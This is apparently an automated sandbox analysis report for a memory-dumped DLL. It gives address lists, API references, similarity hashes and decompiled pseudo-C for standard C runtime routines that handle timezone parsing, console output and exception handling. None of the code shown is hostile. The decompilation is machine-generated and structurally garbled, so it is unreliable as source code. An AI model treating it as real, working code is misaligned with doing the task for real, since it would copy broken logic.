0x6dd5d68e
0x6dd5d690
0x6dd5d692
0x6dd5d697
0x6dd5d69a
0x6dd5d6a8
0x6dd5d6b4
0x6dd5d6b7
0x6dd5d6ba
0x6dd5d6cc
0x6dd5d6d1
0x6dd5d6d3
0x6dd5d6de
0x6dd5d6e4
0x6dd5d6ec
0x6dd5d6ee
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd5d6d5
0x6dd5d6d5
0x00000000
0x6dd5d6d5
0x6dd5d6bc
0x6dd5d6bc
0x6dd5d6bd
0x6dd5d6bd
0x6dd5d6f0
0x6dd5d6f1
0x6dd5d6f1
0x6dd5d69c
0x6dd5d6a2
0x6dd5d6a6
0x6dd5d6f9
0x6dd5d6fa
0x6dd5d700
0x00000000
0x00000000
0x00000000
0x6dd5d6a6
0x6dd5d707
0x6dd5d707
0x6dd5d615
0x6dd5d61b
0x6dd5d61f
0x6dd5d66a
0x6dd5d66b
0x6dd5d675
0x00000000
0x00000000
0x00000000
0x6dd5d61f

APIs

GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
_free.LIBCMT ref: 6DD5D636
_free.LIBCMT ref: 6DD5D65E
SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D66B
SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
_abort.LIBCMT ref: 6DD5D67D

Strings

@eb, xrefs: 6DD5D651

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$_abort
String ID: @eb
API String ID: 3160817290-887999300
Opcode ID: 44ca94565e4106588c782a20d6a90bc3fab967da653e3906de18b3b45ccd8a7b
Instruction ID: c4c9cb6df6330db14837cc9e56814ac9d81a01249edd3fc82737356f397e9635
Opcode Fuzzy Hash: 44ca94565e4106588c782a20d6a90bc3fab967da653e3906de18b3b45ccd8a7b
Instruction Fuzzy Hash: 7BF08136548515A6EE0237789C09F6A36369BD36A5B220115FA2892185EF24C43282B4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6877C, Relevance: 10.9, APIs: 7, Instructions: 370
timeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6DD6877C(void* __ebx, void* __edi, void* __eflags, signed int _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				int _v20;
				int _v24;
				char _v52;
				int _v56;
				int _v60;
				signed int _v100;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v356;
				char _v360;
				void* __esi;
				void* __ebp;
				signed int _t65;
				signed int _t72;
				signed int _t74;
				signed int _t78;
				signed int _t85;
				signed int _t89;
				signed int _t91;
				long _t93;
				signed int* _t96;
				signed int _t99;
				signed int _t102;
				signed int _t106;
				void* _t113;
				signed int _t116;
				void* _t117;
				void* _t119;
				void* _t120;
				void* _t122;
				signed int _t124;
				signed int _t125;
				signed int* _t128;
				signed int _t129;
				void* _t132;
				void* _t134;
				signed int _t135;
				signed int _t137;
				void* _t140;
				intOrPtr _t141;
				void* _t143;
				signed int _t150;
				signed int _t151;
				signed int _t154;
				signed int _t158;
				signed int _t161;
				intOrPtr* _t166;
				intOrPtr _t167;
				signed int _t168;
				intOrPtr* _t169;
				void* _t170;
				void* _t171;
				signed int _t172;
				int _t176;
				signed int _t178;
				char** _t179;
				signed int _t183;
				signed int _t184;
				void* _t191;
				signed int _t192;
				void* _t193;
				signed int _t194;

				_t171 = __edi;
				_t65 = E6DD6822B();
				_v8 = _v8 & 0x00000000;
				_t137 = _t65;
				_v16 = _v16 & 0x00000000;
				_v12 = _t137;
				if(E6DD68289( &_v8) != 0 || E6DD68231( &_v16) != 0) {
					L46:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E6DD52188();
					asm("int3");
					_t191 = _t193;
					_t194 = _t193 - 0x10;
					_push(_t137);
					_t179 = E6DD6822B();
					_v52 = 0;
					_v56 = 0;
					_v60 = 0;
					_t72 = E6DD68289( &_v52);
					_t143 = _t178;
					__eflags = _t72;
					if(_t72 != 0) {
						L66:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E6DD52188();
						asm("int3");
						_push(_t191);
						_t192 = _t194;
						_t74 =  *0x6ddd506c; // 0xfc455029
						_v100 = _t74 ^ _t192;
						 *0x6ddd5384 =  *0x6ddd5384 | 0xffffffff;
						 *0x6ddd5378 =  *0x6ddd5378 | 0xffffffff;
						_push(0);
						_push(_t179);
						_push(_t171);
						_t172 = 0;
						 *0x6ddd7a10 = 0;
						_t78 = E6DD61216(0x6dd82130, _t167, 0, __eflags,  &_v360,  &_v356, 0x100, 0x6dd82130);
						__eflags = _t78;
						if(_t78 != 0) {
							__eflags = _t78 - 0x22;
							if(_t78 == 0x22) {
								_t184 = E6DD5F26D(_t143, _v276);
								__eflags = _t184;
								if(__eflags != 0) {
									_t85 = E6DD61216(0x6dd82130, _t167, 0, __eflags,  &_v280, _t184, _v276, 0x6dd82130);
									__eflags = _t85;
									if(_t85 == 0) {
										E6DD5CBD3(0);
										_t172 = _t184;
									} else {
										_push(_t184);
										goto L73;
									}
								} else {
									_push(0);
									L73:
									E6DD5CBD3();
								}
							}
						} else {
							_t172 =  &_v272;
						}
						asm("sbb esi, esi");
						_t183 =  ~(_t172 -  &_v272) & _t172;
						__eflags = _t172;
						if(_t172 == 0) {
							L81:
							L47();
						} else {
							__eflags =  *_t172;
							if(__eflags == 0) {
								goto L81;
							} else {
								_push(_t172);
								E6DD6877C(0x6dd82130, _t172, __eflags);
							}
						}
						E6DD5CBD3(_t183);
						__eflags = _v16 ^ _t192;
						return E6DD2F8A5(_v16 ^ _t192, _t167, _t183);
					} else {
						_t89 = E6DD68231( &_v16);
						_pop(_t143);
						__eflags = _t89;
						if(_t89 != 0) {
							goto L66;
						} else {
							_t91 = E6DD6825D( &_v20);
							_pop(_t143);
							__eflags = _t91;
							if(_t91 != 0) {
								goto L66;
							} else {
								E6DD5CBD3( *0x6ddd7a08);
								 *0x6ddd7a08 = 0;
								 *_t194 = 0x6ddd7a18;
								_t93 = GetTimeZoneInformation(??);
								__eflags = _t93 - 0xffffffff;
								if(_t93 != 0xffffffff) {
									_t150 =  *0x6ddd7a18 * 0x3c;
									_t168 =  *0x6ddd7a6c; // 0x0
									_push(_t171);
									 *0x6ddd7a10 = 1;
									_v12 = _t150;
									__eflags =  *0x6ddd7a5e; // 0x0
									if(__eflags != 0) {
										_t151 = _t150 + _t168 * 0x3c;
										__eflags = _t151;
										_v12 = _t151;
									}
									__eflags =  *0x6ddd7ab2; // 0x0
									if(__eflags == 0) {
										L56:
										_v16 = 0;
										_v20 = 0;
									} else {
										_t106 =  *0x6ddd7ac0; // 0x0
										__eflags = _t106;
										if(_t106 == 0) {
											goto L56;
										} else {
											_v16 = 1;
											_v20 = (_t106 - _t168) * 0x3c;
										}
									}
									_t176 = E6DD53CD0(0, _t168);
									_t99 = WideCharToMultiByte(_t176, 0, 0x6ddd7a1c, 0xffffffff,  *_t179, 0x3f, 0,  &_v24);
									__eflags = _t99;
									if(_t99 == 0) {
										L60:
										 *( *_t179) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L60;
										} else {
											( *_t179)[0x3f] = 0;
										}
									}
									_t102 = WideCharToMultiByte(_t176, 0, 0x6ddd7a70, 0xffffffff, _t179[1], 0x3f, 0,  &_v24);
									__eflags = _t102;
									if(_t102 == 0) {
										L64:
										 *(_t179[1]) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L64;
										} else {
											_t179[1][0x3f] = 0;
										}
									}
								}
								 *(E6DD68225()) = _v12;
								 *((intOrPtr*)(E6DD68219())) = _v16;
								_t96 = E6DD6821F();
								 *_t96 = _v20;
								return _t96;
							}
						}
					}
				} else {
					_t169 =  *0x6ddd7a08; // 0x0
					_t178 = _a4;
					if(_t169 == 0) {
						L12:
						E6DD5CBD3(_t169);
						_t154 = _t178;
						_t12 = _t154 + 1; // 0x6dd68b6d
						_t170 = _t12;
						do {
							_t113 =  *_t154;
							_t154 = _t154 + 1;
						} while (_t113 != 0);
						_t13 = _t154 - _t170 + 1; // 0x6dd68b6e
						 *0x6ddd7a08 = E6DD5F26D(_t154 - _t170, _t13);
						_t116 = E6DD5CBD3(0);
						_t167 =  *0x6ddd7a08; // 0x0
						if(_t167 == 0) {
							goto L45;
						} else {
							_t158 = _t178;
							_push(_t171);
							_t14 = _t158 + 1; // 0x6dd68b6d
							_t171 = _t14;
							do {
								_t117 =  *_t158;
								_t158 = _t158 + 1;
							} while (_t117 != 0);
							_t15 = _t158 - _t171 + 1; // 0x6dd68b6e
							_t119 = E6DD5AB60(_t167, _t15, _t178);
							_t193 = _t193 + 0xc;
							if(_t119 == 0) {
								_t171 = 3;
								_push(_t171);
								_t120 = E6DD73B33(_t159,  *_t137, 0x40, _t178);
								_t193 = _t193 + 0x10;
								if(_t120 == 0) {
									while( *_t178 != 0) {
										_t178 = _t178 + 1;
										_t171 = _t171 - 1;
										if(_t171 != 0) {
											continue;
										}
										break;
									}
									_pop(_t171);
									_t137 = _t137 & 0xffffff00 |  *_t178 == 0x0000002d;
									if(_t137 != 0) {
										_t178 = _t178 + 1;
									}
									_t161 = E6DD5BFB3(_t159, _t178) * 0xe10;
									_v8 = _t161;
									while(1) {
										_t122 =  *_t178;
										if(_t122 != 0x2b && (_t122 < 0x30 || _t122 > 0x39)) {
											break;
										}
										_t178 = _t178 + 1;
									}
									__eflags =  *_t178 - 0x3a;
									if( *_t178 == 0x3a) {
										_t178 = _t178 + 1;
										_t161 = _v8 + E6DD5BFB3(_t161, _t178) * 0x3c;
										_v8 = _t161;
										while(1) {
											_t132 =  *_t178;
											__eflags = _t132 - 0x30;
											if(_t132 < 0x30) {
												break;
											}
											__eflags = _t132 - 0x39;
											if(_t132 <= 0x39) {
												_t178 = _t178 + 1;
												__eflags = _t178;
												continue;
											}
											break;
										}
										__eflags =  *_t178 - 0x3a;
										if( *_t178 == 0x3a) {
											_t178 = _t178 + 1;
											_t161 = _v8 + E6DD5BFB3(_t161, _t178);
											_v8 = _t161;
											while(1) {
												_t134 =  *_t178;
												__eflags = _t134 - 0x30;
												if(_t134 < 0x30) {
													goto L38;
												}
												__eflags = _t134 - 0x39;
												if(_t134 <= 0x39) {
													_t178 = _t178 + 1;
													__eflags = _t178;
													continue;
												}
												goto L38;
											}
										}
									}
									L38:
									__eflags = _t137;
									if(_t137 != 0) {
										_v8 = _t161;
									}
									__eflags =  *_t178;
									_t124 = 0 |  *_t178 != 0x00000000;
									_v16 = _t124;
									__eflags = _t124;
									_t125 = _v12;
									if(_t124 == 0) {
										_t29 = _t125 + 4; // 0xfffffddd
										 *((char*)( *_t29)) = 0;
										L44:
										 *(E6DD68225()) = _v8;
										_t128 = E6DD68219();
										 *_t128 = _v16;
										return _t128;
									}
									_push(3);
									_t28 = _t125 + 4; // 0xfffffddd
									_t129 = E6DD73B33(_t161,  *_t28, 0x40, _t178);
									_t193 = _t193 + 0x10;
									__eflags = _t129;
									if(_t129 == 0) {
										goto L44;
									}
								}
							}
							goto L46;
						}
					} else {
						_t166 = _t169;
						_t135 = _t178;
						while(1) {
							_t140 =  *_t135;
							if(_t140 !=  *_t166) {
								break;
							}
							if(_t140 == 0) {
								L8:
								_t116 = 0;
							} else {
								_t9 = _t135 + 1; // 0xdde805eb
								_t141 =  *_t9;
								if(_t141 !=  *((intOrPtr*)(_t166 + 1))) {
									break;
								} else {
									_t135 = _t135 + 2;
									_t166 = _t166 + 2;
									if(_t141 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							if(_t116 == 0) {
								L45:
								return _t116;
							} else {
								_t137 = _v12;
								goto L12;
							}
							goto L83;
						}
						asm("sbb eax, eax");
						_t116 = _t135 | 0x00000001;
						__eflags = _t116;
						goto L10;
					}
				}
				L83:
			}

0x6dd6877c
0x6dd68786
0x6dd6878b
0x6dd6878f
0x6dd68791
0x6dd68799
0x6dd687a4
0x6dd68944
0x6dd68946
0x6dd68947
0x6dd68948
0x6dd68949
0x6dd6894a
0x6dd6894b
0x6dd68950
0x6dd68954
0x6dd68956
0x6dd68959
0x6dd68960
0x6dd68967
0x6dd6896b
0x6dd6896e
0x6dd68971
0x6dd68976
0x6dd68977
0x6dd68979
0x6dd68aa1
0x6dd68aa1
0x6dd68aa2
0x6dd68aa3
0x6dd68aa4
0x6dd68aa5
0x6dd68aa6
0x6dd68aab
0x6dd68aae
0x6dd68aaf
0x6dd68ab7
0x6dd68abe
0x6dd68ac1
0x6dd68ace
0x6dd68ad5
0x6dd68ad6
0x6dd68ad7
0x6dd68add
0x6dd68aec
0x6dd68af3
0x6dd68afb
0x6dd68afd
0x6dd68b07
0x6dd68b0a
0x6dd68b17
0x6dd68b1a
0x6dd68b1c
0x6dd68b35
0x6dd68b3d
0x6dd68b3f
0x6dd68b45
0x6dd68b4a
0x6dd68b41
0x6dd68b41
0x00000000
0x6dd68b41
0x6dd68b1e
0x6dd68b1e
0x6dd68b1f
0x6dd68b1f
0x6dd68b1f
0x6dd68b4c
0x6dd68aff
0x6dd68aff
0x6dd68aff
0x6dd68b59
0x6dd68b5b
0x6dd68b5d
0x6dd68b5f
0x6dd68b6f
0x6dd68b6f
0x6dd68b61
0x6dd68b61
0x6dd68b64
0x00000000
0x6dd68b66
0x6dd68b66
0x6dd68b67
0x6dd68b6c
0x6dd68b64
0x6dd68b75
0x6dd68b80
0x6dd68b8b
0x6dd6897f
0x6dd68983
0x6dd68988
0x6dd68989
0x6dd6898b
0x00000000
0x6dd68991
0x6dd68995
0x6dd6899a
0x6dd6899b
0x6dd6899d
0x00000000
0x6dd689a3
0x6dd689a9
0x6dd689ae
0x6dd689b4
0x6dd689bb
0x6dd689c1
0x6dd689c4
0x6dd689ca
0x6dd689d1
0x6dd689d7
0x6dd689db
0x6dd689e1
0x6dd689e4
0x6dd689eb
0x6dd689f0
0x6dd689f0
0x6dd689f2
0x6dd689f2
0x6dd689f5
0x6dd689fc
0x6dd68a14
0x6dd68a14
0x6dd68a17
0x6dd689fe
0x6dd689fe
0x6dd68a03
0x6dd68a05
0x00000000
0x6dd68a07
0x6dd68a09
0x6dd68a0f
0x6dd68a0f
0x6dd68a05
0x6dd68a1f
0x6dd68a33
0x6dd68a39
0x6dd68a3b
0x6dd68a49
0x6dd68a4b
0x6dd68a3d
0x6dd68a3d
0x6dd68a40
0x00000000
0x6dd68a42
0x6dd68a44
0x6dd68a44
0x6dd68a40
0x6dd68a60
0x6dd68a67
0x6dd68a69
0x6dd68a78
0x6dd68a7b
0x6dd68a6b
0x6dd68a6b
0x6dd68a6e
0x00000000
0x6dd68a70
0x6dd68a73
0x6dd68a73
0x6dd68a6e
0x6dd68a69
0x6dd68a85
0x6dd68a8f
0x6dd68a94
0x6dd68a99
0x6dd68aa0
0x6dd68aa0
0x6dd6899d
0x6dd6898b
0x6dd687bc
0x6dd687bc
0x6dd687c2
0x6dd687c7
0x6dd687fd
0x6dd687fe
0x6dd68804
0x6dd68806
0x6dd68806
0x6dd68809
0x6dd68809
0x6dd6880b
0x6dd6880c
0x6dd68812
0x6dd6881d
0x6dd68822
0x6dd68827
0x6dd68831
0x00000000
0x6dd68837
0x6dd68837
0x6dd68839
0x6dd6883a
0x6dd6883a
0x6dd6883d
0x6dd6883d
0x6dd6883f
0x6dd68840
0x6dd68847
0x6dd6884c
0x6dd68851
0x6dd68856
0x6dd6885e
0x6dd6885f
0x6dd68865
0x6dd6886a
0x6dd6886f
0x6dd68875
0x6dd6887a
0x6dd6887b
0x6dd6887e
0x00000000
0x00000000
0x00000000
0x6dd6887e
0x6dd68883
0x6dd68884
0x6dd68889
0x6dd6888b
0x6dd6888b
0x6dd68893
0x6dd68899
0x6dd6889c
0x6dd6889c
0x6dd688a0
0x00000000
0x00000000
0x6dd688aa
0x6dd688aa
0x6dd688ad
0x6dd688b0
0x6dd688b2
0x6dd688c0
0x6dd688c2
0x6dd688cc
0x6dd688cc
0x6dd688ce
0x6dd688d0
0x00000000
0x00000000
0x6dd688c7
0x6dd688c9
0x6dd688cb
0x6dd688cb
0x00000000
0x6dd688cb
0x00000000
0x6dd688c9
0x6dd688d2
0x6dd688d5
0x6dd688d7
0x6dd688e2
0x6dd688e4
0x6dd688ee
0x6dd688ee
0x6dd688f0
0x6dd688f2
0x00000000
0x00000000
0x6dd688e9
0x6dd688eb
0x6dd688ed
0x6dd688ed
0x00000000
0x6dd688ed
0x00000000
0x6dd688eb
0x6dd688ee
0x6dd688d5
0x6dd688f4
0x6dd688f4
0x6dd688f6
0x6dd688fa
0x6dd688fa
0x6dd688ff
0x6dd68901
0x6dd68904
0x6dd68907
0x6dd68909
0x6dd6890c
0x6dd68924
0x6dd68927
0x6dd6892a
0x6dd68932
0x6dd68937
0x6dd6893c
0x00000000
0x6dd6893c
0x6dd6890e
0x6dd68913
0x6dd68916
0x6dd6891b
0x6dd6891e
0x6dd68920
0x00000000
0x00000000
0x6dd68922
0x6dd6886f
0x00000000
0x6dd68856
0x6dd687c9
0x6dd687c9
0x6dd687cb
0x6dd687cd
0x6dd687cd
0x6dd687d1
0x00000000
0x00000000
0x6dd687d5
0x6dd687e9
0x6dd687e9
0x6dd687d7
0x6dd687d7
0x6dd687d7
0x6dd687dd
0x00000000
0x6dd687df
0x6dd687df
0x6dd687e2
0x6dd687e7
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd687e7
0x6dd687dd
0x6dd687f2
0x6dd687f4
0x6dd68943
0x6dd68943
0x6dd687fa
0x6dd687fa
0x00000000
0x6dd687fa
0x00000000
0x6dd687f4
0x6dd687ed
0x6dd687ef
0x6dd687ef
0x00000000
0x6dd687ef
0x6dd687c7
0x00000000

APIs

_free.LIBCMT ref: 6DD687FE
_free.LIBCMT ref: 6DD68822
_free.LIBCMT ref: 6DD689A9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,6DD82130), ref: 6DD689BB
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A1C,000000FF,00000000,0000003F,00000000,?,?), ref: 6DD68A33
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A70,000000FF,?,0000003F,00000000,?), ref: 6DD68A60
_free.LIBCMT ref: 6DD68B75

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 3db009316adbd32ffc313f21409b627dfcf54f4f75a59628ce08f1ff712ff800
Instruction ID: 01006a61646f142e56e3a75c6527ad94440e0adecc7cb0ae4a016286a9a7a98c
Opcode Fuzzy Hash: 3db009316adbd32ffc313f21409b627dfcf54f4f75a59628ce08f1ff712ff800
Instruction Fuzzy Hash: 9EC12771908286EBDF10BF68C840BBA7BB9AF47314F14419AF995972C1D7309A41CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD62C2B, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6DD62C2B(void* __ebx, void* __edi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __esi;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t92;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				signed int _t129;
				signed char* _t131;
				intOrPtr* _t132;
				signed int _t133;
				void* _t134;

				_t78 =  *0x6ddd506c; // 0xfc455029
				_v8 = _t78 ^ _t133;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t131 = _a12;
				_v52 = _t131;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x6ddd76f8 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t131;
				_t86 = GetConsoleCP();
				_t132 = _a4;
				_v60 = _t86;
				 *_t132 = 0;
				 *((intOrPtr*)(_t132 + 4)) = 0;
				 *((intOrPtr*)(_t132 + 8)) = 0;
				while(_t131 < _v40) {
					_v28 = 0;
					_v31 =  *_t131;
					_t129 =  *(0x6ddd76f8 + _v48 * 4);
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						_t92 = E6DD5367B(_t116, _t129);
						_t129 = 0x8000;
						if(( *(_t92 + ( *_t131 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t131);
							goto L8;
						} else {
							if(_t131 >= _v40) {
								_t129 = _v48;
								 *((char*)( *((intOrPtr*)(0x6ddd76f8 + _t129 * 4)) + _t116 + 0x2e)) =  *_t131;
								 *( *((intOrPtr*)(0x6ddd76f8 + _t129 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x6ddd76f8 + _t129 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t132 + 4)) =  *((intOrPtr*)(_t132 + 4)) + 1;
							} else {
								_t112 = E6DD5CF1B( &_v28, _t131, 2);
								_t134 = _t134 + 0xc;
								if(_t112 != 0xffffffff) {
									_t131 =  &(_t131[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E6DD5CF1B();
						_t134 = _t134 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t131 =  &(_t131[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t132 = GetLastError();
								} else {
									 *((intOrPtr*)(_t132 + 4)) =  *((intOrPtr*)(_t132 + 8)) - _v52 + _t131;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t132 + 8)) =  *((intOrPtr*)(_t132 + 8)) + 1;
													 *((intOrPtr*)(_t132 + 4)) =  *((intOrPtr*)(_t132 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E6DD2F8A5(_v8 ^ _t133, _t129, _t132);
			}

0x6dd62c33
0x6dd62c3a
0x6dd62c3d
0x6dd62c45
0x6dd62c49
0x6dd62c55
0x6dd62c58
0x6dd62c5b
0x6dd62c62
0x6dd62c6a
0x6dd62c6d
0x6dd62c73
0x6dd62c79
0x6dd62c7e
0x6dd62c80
0x6dd62c83
0x6dd62c88
0x6dd62c92
0x6dd62c99
0x6dd62c9c
0x6dd62ca3
0x6dd62caa
0x6dd62cc5
0x6dd62ccd
0x6dd62cd6
0x6dd62cfc
0x6dd62cfe
0x00000000
0x6dd62cd8
0x6dd62cdb
0x6dd62da2
0x6dd62dae
0x6dd62db9
0x6dd62dbe
0x6dd62ce1
0x6dd62ce8
0x6dd62ced
0x6dd62cf3
0x6dd62cf9
0x00000000
0x6dd62cf9
0x6dd62cf3
0x6dd62cdb
0x6dd62cac
0x6dd62cb0
0x6dd62cb3
0x6dd62cb9
0x6dd62cbb
0x6dd62cbe
0x6dd62cc2
0x6dd62cff
0x6dd62d02
0x6dd62d03
0x6dd62d08
0x6dd62d0e
0x6dd62d14
0x6dd62d23
0x6dd62d29
0x6dd62d2f
0x6dd62d34
0x6dd62d50
0x6dd62dc3
0x6dd62dc9
0x6dd62d52
0x6dd62d5a
0x6dd62d63
0x6dd62d69
0x00000000
0x6dd62d6b
0x6dd62d6d
0x6dd62d70
0x6dd62d89
0x00000000
0x6dd62d8b
0x6dd62d8f
0x6dd62d91
0x6dd62d94
0x00000000
0x6dd62d94
0x6dd62d8f
0x6dd62d89
0x6dd62d69
0x6dd62d63
0x6dd62d50
0x6dd62d34
0x6dd62d0e
0x00000000
0x6dd62d97
0x6dd62d97
0x6dd62dcb
0x6dd62ddd

APIs

GetConsoleCP.KERNEL32(00000000,?,?,?,?,?,?,?,?,6DD633A0,?,?,00000000,?,?,?), ref: 6DD62C6D
__fassign.LIBCMT ref: 6DD62CE8
__fassign.LIBCMT ref: 6DD62D03
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 6DD62D29
WriteFile.KERNEL32(?,00000000,00000000,6DD633A0,00000000,?,?,?,?,?,?,?,?,?,6DD633A0,?), ref: 6DD62D48
WriteFile.KERNEL32(?,?,00000001,6DD633A0,00000000,?,?,?,?,?,?,?,?,?,6DD633A0,?), ref: 6DD62D81

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 28b63ec8143bae35aec41459a5fc061e53f351ee4e7cacdc58a0dc89926fa63e
Instruction ID: 6b5eb0ded50f00b79612ed333d8fd342f5e8ab6a5004506a66828e5ec2c2c3bc
Opcode Fuzzy Hash: 28b63ec8143bae35aec41459a5fc061e53f351ee4e7cacdc58a0dc89926fa63e
Instruction Fuzzy Hash: 45516FB1A01249AFDB10DFA8C885BEEBBB8EF0A304F15455AF955E7281D730D941CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD33F60, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E6DD33F60(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				long _v40;
				signed int _t48;
				char _t51;
				signed int _t58;
				intOrPtr _t59;
				void* _t60;
				intOrPtr* _t61;
				intOrPtr _t63;
				void* _t66;
				long _t68;
				long _t70;
				intOrPtr _t74;
				signed int _t78;
				char _t80;
				intOrPtr _t83;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				long _t95;
				long _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t104;
				void* _t105;
				void* _t112;

				_t86 = __edx;
				_push(__ebx);
				_t74 = _a8;
				_push(__edi);
				_v5 = 0;
				_t93 = _t74 + 0x10;
				_t48 =  *(_t74 + 8) ^  *0x6ddd506c;
				_push(_t93);
				_push(_t48);
				_v16 = 1;
				_v20 = _t93;
				_v12 = _t48;
				E6DD33F20(_t74, __edx);
				E6DD35267(_a12);
				_t51 = _a4;
				_t105 = _t104 + 0xc;
				_t90 =  *((intOrPtr*)(_t74 + 0xc));
				if(( *(_t51 + 4) & 0x00000066) != 0) {
					__eflags = _t90 - 0xfffffffe;
					if(_t90 != 0xfffffffe) {
						_t86 = 0xfffffffe;
						E6DD35920(_t74, 0xfffffffe, _t93, 0x6ddd506c);
						goto L14;
					}
					goto L15;
				} else {
					_v32 = _t51;
					_v28 = _a12;
					 *((intOrPtr*)(_t74 - 4)) =  &_v32;
					if(_t90 == 0xfffffffe) {
						L15:
						return _v16;
					} else {
						do {
							_t78 = _v12;
							_t20 = _t90 + 2; // 0x3
							_t58 = _t90 + _t20 * 2;
							_t74 =  *((intOrPtr*)(_t78 + _t58 * 4));
							_t59 = _t78 + _t58 * 4;
							_t79 =  *((intOrPtr*)(_t59 + 4));
							_v24 = _t59;
							if( *((intOrPtr*)(_t59 + 4)) == 0) {
								_t80 = _v5;
								goto L8;
							} else {
								_t86 = _t93;
